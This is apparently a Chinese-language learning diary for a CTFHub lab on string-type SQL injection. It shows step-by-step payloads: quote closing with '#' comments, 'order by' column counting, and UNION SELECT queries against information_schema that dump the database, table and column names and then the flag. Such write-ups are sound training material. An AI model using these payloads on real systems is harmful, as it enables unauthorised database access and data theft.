SQL注入学习记录 CTFHub SQL注入 字符型注入
打开页面后,可以看见界面和整数型注入长得差不多:
先输入1
,回显:然后输入
1'
,得到:
自动给我们加上了单引号,这也是和整数型注入的区别,字符型注入参数需要单引号来闭合,整数型不需要。
这里如果接着想在后面输入语句的话,就要手动给参数加上单引号,然后将他加上的单引号注释掉。
Mysql 有三种常用注释符:
– 注意,这种注释符后边有一个空格
# 通过#进行注释
/* */ 注释掉符号内的内容
于是我们输入1' and 1=1#
,将1作为id的参数,用#将他自带的单引号注释掉,回显:
然后通过order by x找出该数据表的字段数量,输入1' order by 1#
,1' order by 2#
,返回结果相同,输入1' order by 3#
返回结果不同,证明字段数为2。
然后通过union注入,输入-1' union select 1,2#
,回显结果:
说明在-1' union select 1,2#
中,1,2的位置都能回显。
所以输入-1' union select 1,database()#
,爆出数据库名:
得到数据库名sqli,接着输入-1' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'#
,爆出sqli库中的表名:
得到表名news和flag,很明显flag就在表flag中。
然后输入-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
,爆出列名:
得到列名flag,最后输入-1' union select 1,group_concat(flag) from sqli.flag#
,爆出字段内容:
成功拿到flag!
总的来说和上一题差别不大,继续学习,加油!